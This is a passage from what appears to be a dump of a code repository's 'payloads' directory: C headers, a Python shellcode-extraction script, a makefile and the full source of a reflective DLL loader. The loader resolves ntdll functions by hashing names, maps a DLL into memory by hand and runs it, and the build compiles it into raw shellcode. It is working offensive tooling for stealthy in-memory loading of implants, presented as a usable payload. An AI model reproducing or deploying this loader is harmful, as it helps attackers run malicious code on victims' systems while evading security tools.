)(\n                PWSTR           DllPath,\n                PULONG          DllCharacteristics,\n                PU_STRING       DllName,\n                PVOID           *DllHandle\n        );\n\n        NTSTATUS ( NTAPI *NtAllocateVirtualMemory ) (\n                HANDLE      ProcessHandle,\n                PVOID       *BaseAddress,\n                ULONG_PTR   ZeroBits,\n                PSIZE_T     RegionSize,\n                ULONG       AllocationType,\n                ULONG       Protect\n        );\n\n        NTSTATUS ( NTAPI *NtProtectVirtualMemory ) (\n                HANDLE  ProcessHandle,\n                PVOID   *BaseAddress,\n                PSIZE_T RegionSize,\n                ULONG   NewProtect,\n                PULONG  OldProtect\n        );\n\n        NTSTATUS ( NTAPI *NtFlushInstructionCache ) (\n                HANDLE  ProcessHandle,\n                PVOID   BaseAddress,\n                ULONG   NumberOfBytesToFlush\n        );\n    } Win32;\n\n} INSTANCE, *PINSTANCE;\n\ntypedef struct {\n    WORD offset :12;\n    WORD type   :4;\n} *PIMAGE_RELOC;\n\nLPVOID  KaynCaller( PVOID StartAddress );\n\nVOID    Memcpy( PVOID Destination, PVOID source, SIZE_T Size );\n\nPVOID   KGetModuleByHash( DWORD hash );\nPVOID   KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal );\nPVOID   KLoadLibrary( PINSTANCE Instance, LPSTR Module );\n\nVOID    KResolveIAT( PINSTANCE Instance, PVOID KaynImage, PVOID IatDir );\nVOID    KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID Dir );\n\nDWORD   KHashString( LPVOID String, SIZE_T Size );\nSIZE_T  KStringLengthA( LPCSTR String );\nSIZE_T  KStringLengthW( LPCWSTR String );\nVOID    KMemSet( PVOID Destination, INT Value, SIZE_T Size );\nSIZE_T  KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed );\n"
  },
  {
    "path": "payloads/DllLdr/Include/Macro.h",
    "content": "\n#include <windows.h>\n\n#define HASH_KEY 5381\n\n#ifdef _WIN64\n    #define PPEB_PTR __readgsqword( 0x60 )\n#else\n    #define PPEB_PTR __readfsdword( 0x30 )\n#endif\n\n#define SEC( s, x )         __attribute__( ( section( \".\" #s \"$\" #x \"\" ) ) )\n#define U_PTR( x )          ( ( UINT_PTR ) x )\n#define C_PTR( x )          ( ( LPVOID ) x )\n#define NtCurrentProcess()  ( HANDLE ) ( ( HANDLE ) - 1 )\n\n#define GET_SYMBOL( x )     ( ULONG_PTR )( GetRIP( ) - ( ( ULONG_PTR ) & GetRIP - ( ULONG_PTR ) x ) )"
  },
  {
    "path": "payloads/DllLdr/Include/Native.h",
    "content": "\ntypedef struct _myUNICODE_STRING\n{\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR Buffer;\n} myUNICODE_STRING, *PmyUNICODE_STRING, **PPmyUNICODE_STRING;\n\ntypedef struct _CURDIR\n{\n\tmyUNICODE_STRING DosPath;\n\tHANDLE Handle;\n} CURDIR, *PCURDIR;\n\n#define GDI_HANDLE_BUFFER_SIZE32  34\n#define GDI_HANDLE_BUFFER_SIZE64  60\n\n#if !defined(_M_X64)\n#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32\n#else\n#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64\n#endif\n\ntypedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];\ntypedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];\ntypedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];\n\ntypedef struct _PEB_LDR_DATA\n{\n\tULONG Length;\n\tBOOLEAN Initialized;\n\tHANDLE SsHandle;\n\tLIST_ENTRY InLoadOrderModuleList;\n\tLIST_ENTRY InMemoryOrderModuleList;\n\tLIST_ENTRY InInitializationOrderModuleList;\n\tPVOID EntryInProgress;\n\tBOOLEAN ShutdownInProgress;\n\tHANDLE ShutdownThreadId;\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\ntypedef struct _PEB\n{\n    BOOLEAN InheritedAddressSpace;\n    BOOLEAN ReadImageFileExecOptions;\n    BOOLEAN BeingDebugged;\n    union\n    {\n        BOOLEAN BitField;\n        struct\n        {\n            BOOLEAN ImageUsesLargePages : 1;\n            BOOLEAN IsProtectedProcess : 1;\n            BOOLEAN IsLegacyProcess : 1;\n            BOOLEAN IsImageDynamicallyRelocated : 1;\n            BOOLEAN SkipPatchingUser32Forwarders : 1;\n            BOOLEAN SpareBits : 3;\n        };\n    };\n    HANDLE Mutant;\n\n    PVOID ImageBaseAddress;\n    PPEB_LDR_DATA Ldr;\n    PVOID ProcessParameters;\n    PVOID SubSystemData;\n    PVOID ProcessHeap;\n    PRTL_CRITICAL_SECTION FastPebLock;\n    PVOID AtlThunkSListPtr;\n    PVOID IFEOKey;\n    union\n    {\n        ULONG CrossProcessFlags;\n        struct\n        {\n            ULONG ProcessInJob : 1;\n            ULONG ProcessInitializing : 1;\n            ULONG ProcessUsingVEH : 1;\n            ULONG ProcessUsingVCH : 1;\n            ULONG ProcessUsingFTH : 1;\n            ULONG ReservedBits0 : 27;\n        };\n        ULONG EnvironmentUpdateCount;\n    };\n    union\n    {\n        PVOID KernelCallbackTable;\n        PVOID UserSharedInfoPtr;\n    };\n    ULONG SystemReserved[1];\n    ULONG AtlThunkSListPtr32;\n    PVOID ApiSetMap;\n    ULONG TlsExpansionCounter;\n    PVOID TlsBitmap;\n    ULONG TlsBitmapBits[2];\n    PVOID ReadOnlySharedMemoryBase;\n    PVOID HotpatchInformation;\n    PVOID ReadOnlyStaticServerData;\n    PVOID AnsiCodePageData;\n    PVOID OemCodePageData;\n    PVOID UnicodeCaseTableData;\n\n    ULONG NumberOfProcessors;\n    ULONG NtGlobalFlag;\n\n    LARGE_INTEGER CriticalSectionTimeout;\n    SIZE_T HeapSegmentReserve;\n    SIZE_T HeapSegmentCommit;\n    SIZE_T HeapDeCommitTotalFreeThreshold;\n    SIZE_T HeapDeCommitFreeBlockThreshold;\n\n    ULONG NumberOfHeaps;\n    ULONG MaximumNumberOfHeaps;\n    PVOID ProcessHeaps;\n\n    PVOID GdiSharedHandleTable;\n    PVOID ProcessStarterHelper;\n    ULONG GdiDCAttributeList;\n\n    PRTL_CRITICAL_SECTION LoaderLock;\n\n    ULONG OSMajorVersion;\n    ULONG OSMinorVersion;\n    USHORT OSBuildNumber;\n    USHORT OSCSDVersion;\n    ULONG OSPlatformId;\n    ULONG ImageSubsystem;\n    ULONG ImageSubsystemMajorVersion;\n    ULONG ImageSubsystemMinorVersion;\n    ULONG_PTR ImageProcessAffinityMask;\n    GDI_HANDLE_BUFFER GdiHandleBuffer;\n    PVOID PostProcessInitRoutine;\n\n    PVOID TlsExpansionBitmap;\n    ULONG TlsExpansionBitmapBits[32];\n\n    ULONG SessionId;\n\n    ULARGE_INTEGER AppCompatFlags;\n    ULARGE_INTEGER AppCompatFlagsUser;\n    PVOID pShimData;\n    PVOID AppCompatInfo;\n\n    myUNICODE_STRING CSDVersion;\n\n    PVOID ActivationContextData;\n    PVOID ProcessAssemblyStorageMap;\n    PVOID SystemDefaultActivationContextData;\n    PVOID SystemAssemblyStorageMap;\n\n    SIZE_T MinimumStackCommit;\n\n    PVOID FlsCallback;\n    LIST_ENTRY FlsListHead;\n    PVOID FlsBitmap;\n    ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];\n    ULONG FlsHighIndex;\n\n    PVOID WerRegistrationData;\n    PVOID WerShipAssertPtr;\n    PVOID pContextData;\n    PVOID pImageHeaderHash;\n    union\n    {\n        ULONG TracingFlags;\n        struct\n        {\n            ULONG HeapTracingEnabled : 1;\n            ULONG CritSecTracingEnabled : 1;\n            ULONG SpareTracingBits : 30;\n        };\n    };\n} PEB, *PPEB;\n\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n    LIST_ENTRY InLoadOrderLinks;\n    LIST_ENTRY InMemoryOrderLinks;\n    LIST_ENTRY InInitializationOrderLinks;\n    PVOID DllBase;\n    PVOID EntryPoint;\n    ULONG SizeOfImage;\n    myUNICODE_STRING FullDllName;\n    myUNICODE_STRING BaseDllName;\n    ULONG Flags;\n    USHORT LoadCount;\n    USHORT TlsIndex;\n    union\n    {\n        LIST_ENTRY HashLinks;\n        struct\n        {\n            PVOID SectionPointer;\n            ULONG CheckSum;\n        };\n    };\n    union\n    {\n        ULONG TimeDateStamp;\n        PVOID LoadedImports;\n    };\n    PVOID EntryPointActivationContext;\n    PVOID PatchInformation;\n    LIST_ENTRY ForwarderLinks;\n    LIST_ENTRY ServiceTagLinks;\n    LIST_ENTRY StaticLinks;\n    PVOID ContextInformation;\n    ULONG_PTR OriginalBase;\n    LARGE_INTEGER LoadTime;\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n"
  },
  {
    "path": "payloads/DllLdr/Scripts/extract.py",
    "content": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nimport sys\nimport struct\nimport argparse\n\ndef main(options):\n    with open(options.f, 'rb') as f:\n        object_file = f.read()\n\n    num_sections = struct.unpack('<H', object_file[2 : 2 + 2])[0]\n    #print(f\"num_sections: {num_sections}\")\n\n    for num_section in range(num_sections):\n        size_header = 20\n        size_section = 40\n        section = object_file[size_header + (size_section * num_section) : size_header + (size_section * num_section) + size_section]\n        name = struct.unpack('8s', section[:8])[0].decode('ascii').rstrip('\\x00')\n        if name == '.text':\n            size_of_raw_data = struct.unpack('<I', section[16: 16 + 4])[0]\n            #print(f'size_of_raw_data: {hex(size_of_raw_data)}')\n            pointer_to_raw_data = struct.unpack('<I', section[20: 20 + 4])[0]\n            #print(f'pointer_to_raw_data: {hex(pointer_to_raw_data)}')\n            text_section = object_file[pointer_to_raw_data: pointer_to_raw_data + size_of_raw_data]\n            with open(options.o, 'wb') as f:\n                f.write(text_section)\n            return\n\n    print('.text section not found')\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser( description = 'Extracts shellcode from an Object File.' );\n    parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str );\n    parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str );\n    options = parser.parse_args();\n    main(options)\n"
  },
  {
    "path": "payloads/DllLdr/Source/Entry.c",
    "content": "#include <Core.h>\n#include <Native.h>\n#include <ntdef.h>\n\nDLLEXPORT VOID KaynLoader( LPVOID lpParameter )\n{\n    INSTANCE                Instance        = { 0 };\n    HMODULE                 KaynLibraryLdr  = NULL;\n    PIMAGE_NT_HEADERS       NtHeaders       = NULL;\n    PIMAGE_SECTION_HEADER   SecHeader       = NULL;\n    LPVOID                  KVirtualMemory  = NULL;\n    SIZE_T                  KMemSize        = 0;\n    PVOID                   SecMemory       = NULL;\n    SIZE_T                  SecMemorySize   = 0;\n    ULONG                   Protection      = 0;\n    ULONG                   OldProtection   = 0;\n    PIMAGE_DATA_DIRECTORY   ImageDir        = NULL;\n    PVOID                   StartAddress    = NULL;\n    DWORD                   rva             = 0;\n    PIMAGE_TLS_DIRECTORY    tls             = 0;\n    PIMAGE_TLS_CALLBACK     *callbacks      = NULL;\n\n    // 0. First we need to get the DLL base\n    StartAddress   = RVA2VA( PVOID, KCharStringToWCharString, 0x70 );\n    KaynLibraryLdr = KaynCaller( StartAddress );\n\n    // ------------------------\n    // 1. Load needed Functions\n    // ------------------------\n    Instance.Modules.Ntdll                 = KGetModuleByHash( NTDLL_HASH );\n\n    Instance.Win32.LdrLoadDll              = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_LDRLOADDLL, 0  );\n    Instance.Win32.NtAllocateVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY, 0 );\n    Instance.Win32.NtProtectVirtualMemory  = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY, 0 );\n    Instance.Win32.NtFlushInstructionCache = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTFLUSHINSTRUCTIONCACHE, 0 );\n\n    // ---------------------------------------------------------------------------\n    // 2. Allocate virtual memory and copy headers and section into the new memory\n    // ---------------------------------------------------------------------------\n    NtHeaders = RVA2VA( PIMAGE_NT_HEADERS, KaynLibraryLdr, ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew );\n    KMemSize  = NtHeaders->OptionalHeader.SizeOfImage;\n\n    if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) )\n    {\n        // ---- Copy Headers into new allocated memory ----\n        Memcpy(KVirtualMemory, KaynLibraryLdr, NtHeaders->OptionalHeader.SizeOfHeaders);\n        ( ( PIMAGE_NT_HEADERS ) KVirtualMemory )->OptionalHeader.ImageBase = KVirtualMemory;\n\n        // ---- Copy Sections into new allocated memory ----\n        SecHeader = IMAGE_FIRST_SECTION( NtHeaders );\n        for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )\n        {\n            Memcpy(\n                RVA2VA( PVOID, KVirtualMemory, SecHeader[ i ].VirtualAddress ),      // Section New Memory\n                RVA2VA( PVOID, KaynLibraryLdr, SecHeader[ i ].PointerToRawData ),    // Section Raw Data\n                SecHeader[ i ].SizeOfRawData                                      // Section Size\n            );\n        }\n\n        // ----------------------------------\n        // 3. Process our images import table\n        // ----------------------------------\n        ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];\n        if ( ImageDir->VirtualAddress )\n            KResolveIAT( &Instance, KVirtualMemory, RVA2VA( PVOID, KVirtualMemory, ImageDir->VirtualAddress ) );\n\n        // ----------------------------\n        // 4. Process image relocations\n        // ----------------------------\n        ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];\n        if ( ImageDir->VirtualAddress )\n            KReAllocSections( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, RVA2VA( PVOID, KVirtualMemory, ImageDir->VirtualAddress ) );\n\n        // ----------------------------------\n        // 5. Set protection for each section\n        // ----------------------------------\n        SecMemory     = KVirtualMemory;\n        SecMemorySize = NtHeaders->OptionalHeader.SizeOfHeaders;\n        Protection    = PAGE_READONLY;\n        OldProtection = 0;\n        Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection );\n\n        for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )\n        {\n            SecMemory       = RVA2VA( PVOID, KVirtualMemory, SecHeader[ i ].VirtualAddress );\n            SecMemorySize   = SecHeader[ i ].SizeOfRawData;\n            Protection      = 0;\n            OldProtection   = 0;\n\n            if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE )\n                Protection = PAGE_WRITECOPY;\n\n            if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ )\n                Protection = PAGE_READONLY;\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )\n                Protection = PAGE_READWRITE;\n\n            if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE )\n                Protection = PAGE_EXECUTE;\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) )\n                Protection = PAGE_EXECUTE_WRITECOPY;\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )\n                Protection = PAGE_EXECUTE_READ;\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )\n                Protection = PAGE_EXECUTE_READWRITE;\n\n            Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection );\n        }\n\n        Instance.Win32.NtFlushInstructionCache( NtCurrentProcess(), NULL, 0 );\n\n        // ----------------------------------\n        // 6. Execute TLS callbacks\n        // ----------------------------------\n        rva = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;\n        if ( rva != 0 )\n        {\n            tls = RVA2VA(PIMAGE_TLS_DIRECTORY, KVirtualMemory, rva);\n            callbacks = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks;\n\n            if ( callbacks )\n            {\n                while( *callbacks != NULL )\n                {\n                    // call function\n                    (*callbacks)((LPVOID)KVirtualMemory, DLL_PROCESS_ATTACH, NULL);\n                    callbacks++;\n                }\n            }\n        }\n\n        // --------------------------------\n        // 7. Finally executing our DllMain\n        // --------------------------------\n        BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = RVA2VA( PVOID, KVirtualMemory, NtHeaders->OptionalHeader.AddressOfEntryPoint );\n        KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, lpParameter );\n    }\n}\n\nNAKED LPVOID KaynCaller( PVOID StartAddress )\n{\n    asm(\n        \"start: \\n\"\n        \"xor rbx, rbx \\n\"\n        \"mov ebx, 0x5A4D \\n\"\n        \"loop: \\n\"\n        \"inc rcx \\n\"\n        \"cmp bx,  [ rcx ] \\n\"\n        \"jne loop \\n\"\n        \"xor rax, rax \\n\"\n        \"mov ax,  [ rcx + 0x3C ] \\n\"\n        \"add rax, rcx \\n\"\n        \"xor rbx, rbx \\n\"\n        \"add bx,  0x4550 \\n\"\n        \"cmp bx,  [ rax ] \\n\"\n        \"jne start \\n\"\n        \"mov rax, rcx \\n\"\n        \"ret \\n\"\n    );\n}\n\nNAKED VOID Memcpy( PVOID Destination, PVOID source, SIZE_T Size )\n{\n    asm(\n        \"xor r10, r10 \\n\"\n        \"test r8, r8 \\n\"\n        \"jne copy1 \\n\"\n        \"ret \\n\"\n        \"copy1: \\n\"\n        \"dec r8 \\n\"\n        \"mov r10b, [rdx] \\n\"\n        \"mov [rcx], r10b \\n\"\n        \"inc rdx \\n\"\n        \"inc rcx \\n\"\n        \"test r8, r8 \\n\"\n        \"jne copy1 \\n\"\n        \"ret \\n\"\n    );\n}\n\nPVOID KGetModuleByHash( DWORD ModuleHash )\n{\n    PLDR_DATA_TABLE_ENTRY   LoaderEntry = NULL;\n    PLIST_ENTRY             ModuleList  = NULL;\n    PLIST_ENTRY             NextList    = NULL;\n\n    /* Get pointer to list */\n    ModuleList = & ( ( PPEB ) PPEB_PTR )->Ldr->InLoadOrderModuleList;\n    NextList   = ModuleList->Flink;\n\n    for ( ; ModuleList != NextList ; NextList = NextList->Flink )\n    {\n        LoaderEntry = NextList;\n\n        if ( KHashString( LoaderEntry->BaseDllName.Buffer, LoaderEntry->BaseDllName.Length ) == ModuleHash )\n            return LoaderEntry->DllBase;\n    }\n\n    return NULL;\n}\n\nFORCE_INLINE UINT32 CopyDotStr( PCHAR String )\n{\n    for ( UINT32 i = 0; i < KStringLengthA( String ); i++ )\n    {\n        if ( String[ i ] == '.' )\n            return i;\n    }\n}\n\nPVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal )\n{\n    PIMAGE_NT_HEADERS       ModuleNtHeader          = NULL;\n    PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL;\n    SIZE_T                  ExportedDirectorySize   = 0;\n    PDWORD                  AddressOfFunctions      = NULL;\n    PDWORD                  AddressOfNames          = NULL;\n    PWORD                   AddressOfNameOrdinals   = NULL;\n    PVOID                   FunctionAddr            = NULL;\n    UINT32                  Index                   = 0;\n\n    ModuleNtHeader          = RVA2VA( PIMAGE_NT_HEADERS,       DllModuleBase, ( ( PIMAGE_DOS_HEADER ) DllModuleBase )->e_lfanew );\n    ModuleExportedDirectory = RVA2VA( PIMAGE_EXPORT_DIRECTORY, DllModuleBase, ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );\n    ExportedDirectorySize   = ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;\n\n    AddressOfNames          = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfNames );\n    AddressOfFunctions      = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfFunctions );\n    AddressOfNameOrdinals   = RVA2VA( PVOID, DllModuleBase, ModuleExportedDirectory->AddressOfNameOrdinals );\n\n    for ( DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++ )\n    {\n        if ( KHashString( RVA2VA( PCHAR, DllModuleBase, AddressOfNames[ i ] ), 0 ) == FunctionHash )\n        {\n            FunctionAddr = RVA2VA( PVOID, DllModuleBase, AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] );\n            if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ModuleExportedDirectory &&\n                 ( ULONG_PTR ) FunctionAddr <  RVA2VA( ULONG_PTR, ModuleExportedDirectory, ExportedDirectorySize ) )\n            {\n                CHAR    Library [ MAX_PATH ] = { 0 };\n                CHAR    Function[ MAX_PATH ] = { 0 };\n\n                // where is the dot\n                Index = CopyDotStr( FunctionAddr );\n\n                // Copy the library from our string\n                Memcpy( Library,  FunctionAddr, Index );\n\n                // Copy the function from our string\n                Memcpy( Function, RVA2VA( PVOID, FunctionAddr, Index + 1 ), KStringLengthA( RVA2VA( PCHAR, FunctionAddr, Index + 1 ) ) );\n\n                DllModuleBase = KLoadLibrary( Instance, Library );\n                FunctionAddr  = KGetProcAddressByHash( Instance, DllModuleBase, KHashString( Function, 0 ), 0 );\n            }\n\n            return FunctionAddr;\n        }\n    }\n\n    return NULL;\n}\n\nVOID KResolveIAT( PINSTANCE Instance, LPVOID KaynImage, LPVOID IatDir )\n{\n    PIMAGE_THUNK_DATA        OriginalTD        = NULL;\n    PIMAGE_THUNK_DATA        FirstTD           = NULL;\n\n    PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;\n    PIMAGE_IMPORT_BY_NAME    pImportByName     = NULL;\n\n    PCHAR                    ImportModuleName  = NULL;\n    HMODULE                  ImportModule      = NULL;\n\n    for ( pImportDescriptor = IatDir; pImportDescriptor->Name != 0; ++pImportDescriptor )\n    {\n        ImportModuleName = RVA2VA( PCHAR, KaynImage, pImportDescriptor->Name );\n        ImportModule     = KLoadLibrary( Instance, ImportModuleName );\n\n        OriginalTD       = RVA2VA( PIMAGE_THUNK_DATA, KaynImage, pImportDescriptor->OriginalFirstThunk );\n        FirstTD          = RVA2VA( PIMAGE_THUNK_DATA, KaynImage, pImportDescriptor->FirstThunk );\n\n        for ( ; OriginalTD->u1.AddressOfData != 0 ; ++OriginalTD, ++FirstTD )\n        {\n            if ( IMAGE_SNAP_BY_ORDINAL( OriginalTD->u1.Ordinal ) )\n            {\n                // TODO: get function by ordinal\n                PVOID Function = KGetProcAddressByHash( Instance, ImportModule, NULL, IMAGE_ORDINAL( OriginalTD->u1.Ordinal ) );\n                if ( Function != NULL )\n                    FirstTD->u1.Function = Function;\n            }\n            else\n            {\n                pImportByName       = RVA2VA( PIMAGE_IMPORT_BY_NAME, KaynImage, OriginalTD->u1.AddressOfData );\n                DWORD  FunctionHash = KHashString( pImportByName->Name, KStringLengthA( pImportByName->Name ) );\n                LPVOID Function     = KGetProcAddressByHash( Instance, ImportModule, FunctionHash, 0 );\n\n                if ( Function != NULL )\n                    FirstTD->u1.Function = Function;\n            }\n        }\n    }\n}\n\nVOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir )\n{\n    PIMAGE_BASE_RELOCATION  pImageBR = (PIMAGE_BASE_RELOCATION)BaseRelocDir;\n    LPVOID                  OffsetIB = C_PTR( U_PTR( KaynImage ) - U_PTR( ImageBase ) );\n    PIMAGE_RELOC            Reloc    = NULL;\n\n    while( pImageBR->VirtualAddress != 0 )\n    {\n        Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 );\n\n        while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock )\n        {\n            if ( Reloc->type == IMAGE_REL_TYPE )\n                *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset ) += ( ULONG_PTR ) OffsetIB;\n\n            else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE )\n                __debugbreak(); // TODO: handle this error\n\n            Reloc++;\n        }\n\n        pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc;\n    }\n}\n\nPVOID KLoadLibrary( PINSTANCE Instance, LPSTR ModuleName )\n{\n    if ( ! ModuleName )\n        return NULL;\n\n    UNICODE_STRING  UnicodeString           = { 0 };\n    WCHAR           ModuleNameW[ MAX_PATH ] = { 0 };\n    DWORD           dwModuleNameSize        = KStringLengthA( ModuleName );\n    HMODULE         Module                  = NULL;\n\n    KCharStringToWCharString( ModuleNameW, ModuleName, dwModuleNameSize );\n\n    if ( ModuleNameW )\n    {\n        USHORT DestSize             = KStringLengthW( ModuleNameW ) * sizeof( WCHAR );\n        UnicodeString.Length        = DestSize;\n        UnicodeString.MaximumLength = DestSize + sizeof( WCHAR );\n    }\n\n    UnicodeString.Buffer = ModuleNameW;\n\n    if ( NT_SUCCESS( Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) )\n        return Module;\n    else\n        return NULL;\n}\n\n/*\n ---------------------------------\n ---- String & Data functions ----\n ---------------------------------\n*/\n\nDWORD KHashString( PVOID String, SIZE_T Length )\n{\n    ULONG   Hash = HASH_KEY;\n    PUCHAR  Ptr  = String;\n\n    do\n    {\n        UCHAR character = *Ptr;\n\n        if ( ! Length )\n        {\n            if ( !*Ptr ) break;\n        }\n        else\n        {\n            if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break;\n            if ( !*Ptr ) ++Ptr;\n        }\n\n        if ( character >= 'a' )\n            character -= 0x20;\n\n        Hash = ( ( Hash << 5 ) + Hash ) + character;\n        ++Ptr;\n    } while ( TRUE );\n\n    return Hash;\n}\n\nSIZE_T KStringLengthA( LPCSTR String )\n{\n    LPCSTR String2 = String;\n    for (String2 = String; *String2; ++String2);\n    return (String2 - String);\n}\n\nSIZE_T KStringLengthW(LPCWSTR String)\n{\n    LPCWSTR String2;\n\n    for (String2 = String; *String2; ++String2);\n\n    return (String2 - String);\n}\n\nSIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed )\n{\n    INT Length = MaximumAllowed;\n\n    while (--Length >= 0)\n    {\n        if (!(*Destination++ = *Source++))\n            return MaximumAllowed - Length - 1;\n    }\n\n    return MaximumAllowed - Length;\n}\n"
  },
  {
    "path": "payloads/DllLdr/makefile",
    "content": "CCX64\t= x86_64-w64-mingw32-gcc\nCCX86\t= i686-w64-mingw32-gcc\n\nINCLUDE = -I Include\nOPTIONS = -w -Wall -Wextra -masm=intel -fPIC -fno-asynchronous-unwind-tables $(INCLUDE)\n\nEXECUTABLE_X64 = DllLdr.x64.o\nRAWBINARY_X64  = ../DllLdr.x64.bin\n\nall: x64\n\nx64: clean\n\t@ echo \"[*] Compile x64 object file...\"\n\n\t@ $(CCX64) -c Source/Entry.c -o $(EXECUTABLE_X64) $(OPTIONS)\n\n\t@ echo \"[*] Extract shellcode: $(RAWBINARY_X64)\"\n\t@ python3 Scripts/extract.py -f $(EXECUTABLE_X64) -o $(RAWBINARY_X64)\n\n\t@ rm $(EXECUTABLE_X64)\n\nclean:\n\t@ rm -rf Bin/*.o\n\t@ rm -rf Bin/*.bin\n"
  },
  {
    "path": "payloads/Shellcode/Bin/.gitignore",
    "content": "*\n!.gitignore\n"
  },
  {
    "path": "payloads/Shellcode/Include/Core.h",
    "content": "\n#include <windows.h>\n#include <Macro.h>\n\nUINT_PTR GetRIP( VOID );\nLPVOID   KaynCaller();\nVOID     KaynLdrReloc( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir, DWORD KHdrSize );\n\n#define PAGE_SIZE                       4096\n#define MemCopy                         __builtin_memcpy\n#define NTDLL_HASH                      0x70e61753\n\n#define SYS_LDRLOADDLL                  0x9e456a43\n#define SYS_NTALLOCATEVIRTUALMEMORY     0xf783b8ec\n#define SYS_NTPROTECTEDVIRTUALMEMORY    0x50e92888\n\ntypedef struct {\n    WORD offset :12;\n    WORD type   :4;\n} *PIMAGE_RELOC;\n\ntypedef struct\n{\n    USHORT Length;\n    USHORT MaximumLength;\n    PWSTR  Buffer;\n} U_STRING, *PU_STRING;\n\ntypedef struct\n{\n    struct\n    {\n        UINT_PTR Ntdll;\n    } Modules;\n\n    struct {\n        NTSTATUS ( NTAPI *LdrLoadDll )(\n                PWSTR           DllPath,\n                PULONG          DllCharacteristics,\n                PU_STRING       DllName,\n                PVOID           *DllHandle\n        );\n\n        NTSTATUS ( NTAPI *NtAllocateVirtualMemory ) (\n                HANDLE      ProcessHandle,\n                PVOID       *BaseAddress,\n                ULONG_PTR   ZeroBits,\n                PSIZE_T     RegionSize,\n                ULONG       AllocationType,\n                ULONG       Protect\n        );\n\n        NTSTATUS ( NTAPI *NtProtectVirtualMemory ) (\n                HANDLE  ProcessHandle,\n                PVOID   *BaseAddress,\n                PSIZE_T 